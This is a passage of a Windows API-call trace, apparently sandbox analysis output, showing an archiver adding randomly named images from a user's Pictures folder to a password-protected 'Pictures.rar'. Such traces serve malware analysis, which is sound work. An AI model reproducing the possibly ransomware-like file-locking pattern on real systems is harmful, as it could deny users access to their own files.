SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0063.858] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13919808273) returned 1 [0063.858] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x1590b, lpOverlapped=0x0) returned 1 [0063.859] ReadFile (in: hFile=0x1b0, lpBuffer=0x36e594b, nNumberOfBytesToRead=0xea6f5, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36e594b*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0063.859] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.859] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.859] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c200 [0063.859] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c230 [0063.859] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c230, Size=0x48) returned 0x26fed0 [0063.859] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.859] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c230 [0063.859] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c230, Size=0x48) returned 0x26fe80 [0063.859] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.859] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.859] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c230 [0063.859] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c260 [0063.859] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c260 | out: hHeap=0x1b0000) returned 1 [0063.859] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c230 | out: hHeap=0x1b0000) returned 1 [0063.859] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c200, Size=0x4d) returned 0x3ba9290 [0063.859] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3ba9290, Size=0x89) returned 0x3b8d7c0 [0063.859] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.859] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8d7c0 | out: hHeap=0x1b0000) returned 1 [0063.860] GetTickCount () returned 0xa664be [0063.860] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13920081079) returned 1 [0063.860] GetTickCount () returned 0xa664be [0063.860] GetTickCount () returned 0xa664be [0063.860] GetTickCount () returned 0xa664be [0063.860] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.861] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.861] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.861] ResetEvent (hEvent=0x1a4) returned 1 [0063.861] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.862] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.862] ResetEvent (hEvent=0x1a4) returned 1 [0063.863] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.866] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.866] ResetEvent (hEvent=0x1a4) returned 1 [0063.866] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.868] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.868] GetTickCount () returned 0xa664cd [0063.868] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13920864311) returned 1 [0063.868] GetTickCount () returned 0xa664cd [0063.868] GetTickCount () returned 0xa664cd [0063.868] GetTickCount () returned 0xa664cd [0063.868] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 1 [0063.868] GetMessageW (in: lpMsg=0x16d3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d3d0) returned 1 [0063.868] GetFocus () returned 0x0 [0063.868] TranslateMessage (lpMsg=0x16d3d0) returned 0 [0063.868] DispatchMessageW (lpMsg=0x16d3d0) returned 0x0 [0063.868] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0063.868] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.868] ResetEvent (hEvent=0x190) returned 1 [0063.869] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.869] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.869] ResetEvent (hEvent=0x190) returned 1 [0063.869] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.870] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.870] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.870] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.870] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x444a0e [0063.870] SetFilePointer (in: hFile=0x198, lDistanceToMove=135, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x444a95 [0063.870] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0063.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.870] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0063.870] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0063.870] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0063.871] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x159f0, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x159f0, lpOverlapped=0x0) returned 1 [0063.871] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.872] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.872] SetFilePointer (in: hFile=0x198, lDistanceToMove=4475406, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x444a0e [0063.872] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x444a0e [0063.872] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c200 [0063.872] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c230 [0063.872] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c230, Size=0x48) returned 0x26fe80 [0063.872] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.872] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c230 [0063.872] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c230, Size=0x48) returned 0x26fed0 [0063.872] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.872] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.872] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c230 [0063.872] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c260 [0063.872] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c260 | out: hHeap=0x1b0000) returned 1 [0063.872] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c230 | out: hHeap=0x1b0000) returned 1 [0063.872] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c200, Size=0x4d) returned 0x3ba9290 [0063.872] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3ba9290, Size=0x89) returned 0x3b8d7c0 [0063.872] WriteFile (in: hFile=0x198, lpBuffer=0x3b8d7c2*, nNumberOfBytesToWrite=0x87, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x3b8d7c2*, lpNumberOfBytesWritten=0x167f30*=0x87, lpOverlapped=0x0) returned 1 [0063.872] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c200 [0063.872] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x87) returned 0x203ab0 [0063.872] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.872] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8d7c0 | out: hHeap=0x1b0000) returned 1 [0063.872] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x45a485 [0063.872] CloseHandle (hObject=0x1b0) returned 1 [0063.872] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.872] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.872] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.872] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.872] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\pQzU4fgJS_VJhSEBB.bmp", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0063.872] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0063.872] CreateFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\pQzU4fgJS_VJhSEBB.bmp" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl\\uqtyoyizxkksp3kd\\dn2ln2aa\\pqzu4fgjs_vjhsebb.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.872] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.872] GetTickCount () returned 0xa664cd [0063.873] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0063.873] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0063.873] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.873] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0063.873] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="Ni-WplZKUKZ.gif") returned 15 [0063.873] SetWindowTextW (hWnd=0x1024c, lpString="pQzU4fgJS_VJhSEBB.bmp") returned 1 [0063.873] GetTickCount () returned 0xa664cd [0063.873] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.873] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0063.873] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0063.873] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0063.873] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0x22e)) [0063.873] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0063.873] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13921386762) returned 1 [0063.874] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x77e3, lpOverlapped=0x0) returned 1 [0063.874] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d7823, nNumberOfBytesToRead=0xf881d, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d7823*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0063.874] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c230 [0063.874] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c260 [0063.874] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c260, Size=0x48) returned 0x26fed0 [0063.875] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.875] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c260 [0063.875] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c260, Size=0x48) returned 0x26fe80 [0063.875] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.875] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.875] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c260 [0063.875] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c290 [0063.875] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c290 | out: hHeap=0x1b0000) returned 1 [0063.875] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c260 | out: hHeap=0x1b0000) returned 1 [0063.875] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c230, Size=0x6d) returned 0x2a0b150 [0063.875] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x2a0b150, Size=0xa9) returned 0x3b8f920 [0063.875] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.875] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8f920 | out: hHeap=0x1b0000) returned 1 [0063.877] GetTickCount () returned 0xa664cd [0063.877] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13921693295) returned 1 [0063.877] GetTickCount () returned 0xa664cd [0063.877] GetTickCount () returned 0xa664cd [0063.877] GetTickCount () returned 0xa664cd [0063.877] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.877] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.877] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.877] ResetEvent (hEvent=0x1a4) returned 1 [0063.877] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.878] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.878] ResetEvent (hEvent=0x1a4) returned 1 [0063.878] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.879] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.879] GetTickCount () returned 0xa664cd [0063.879] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13921981844) returned 1 [0063.879] GetTickCount () returned 0xa664cd [0063.879] GetTickCount () returned 0xa664cd [0063.879] GetTickCount () returned 0xa664cd [0063.880] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0063.880] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0063.880] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.880] ResetEvent (hEvent=0x190) returned 1 [0063.880] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.880] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.880] ResetEvent (hEvent=0x190) returned 1 [0063.880] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.880] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.880] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.880] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.880] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x45a485 [0063.880] SetFilePointer (in: hFile=0x198, lDistanceToMove=167, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x45a52c [0063.881] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0063.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.881] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0063.881] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0063.881] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0063.881] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x7810, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x7810, lpOverlapped=0x0) returned 1 [0063.882] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.882] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.882] SetFilePointer (in: hFile=0x198, lDistanceToMove=4564101, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x45a485 [0063.882] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x45a485 [0063.882] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c230 [0063.882] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c260 [0063.882] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c260, Size=0x48) returned 0x26fe80 [0063.882] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.882] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c260 [0063.882] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c260, Size=0x48) returned 0x26fed0 [0063.882] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.882] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.882] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c260 [0063.882] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c290 [0063.882] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c290 | out: hHeap=0x1b0000) returned 1 [0063.882] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c260 | out: hHeap=0x1b0000) returned 1 [0063.882] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c230, Size=0x6d) returned 0x2a0b150 [0063.882] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x2a0b150, Size=0xa9) returned 0x3b8f920 [0063.882] WriteFile (in: hFile=0x198, lpBuffer=0x3b8f922*, nNumberOfBytesToWrite=0xa7, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x3b8f922*, lpNumberOfBytesWritten=0x167f30*=0xa7, lpOverlapped=0x0) returned 1 [0063.882] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c230 [0063.882] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xa7) returned 0x3b8f9e0 [0063.882] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.882] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8f920 | out: hHeap=0x1b0000) returned 1 [0063.882] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x461d3c [0063.882] CloseHandle (hObject=0x1b0) returned 1 [0063.882] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.882] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.882] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.882] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.883] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\PSQZiwIN8uJzzTdjOFX.jpg", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0063.883] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0063.883] CreateFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\PSQZiwIN8uJzzTdjOFX.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl\\uqtyoyizxkksp3kd\\dn2ln2aa\\psqziwin8ujzztdjofx.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.883] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.883] GetTickCount () returned 0xa664dd [0063.883] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0063.883] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0063.883] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.883] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0063.883] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="pQzU4fgJS_VJhSEBB.bmp") returned 21 [0063.883] SetWindowTextW (hWnd=0x1024c, lpString="PSQZiwIN8uJzzTdjOFX.jpg") returned 1 [0063.883] GetTickCount () returned 0xa664dd [0063.883] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.883] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0063.884] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0063.884] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0063.884] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, 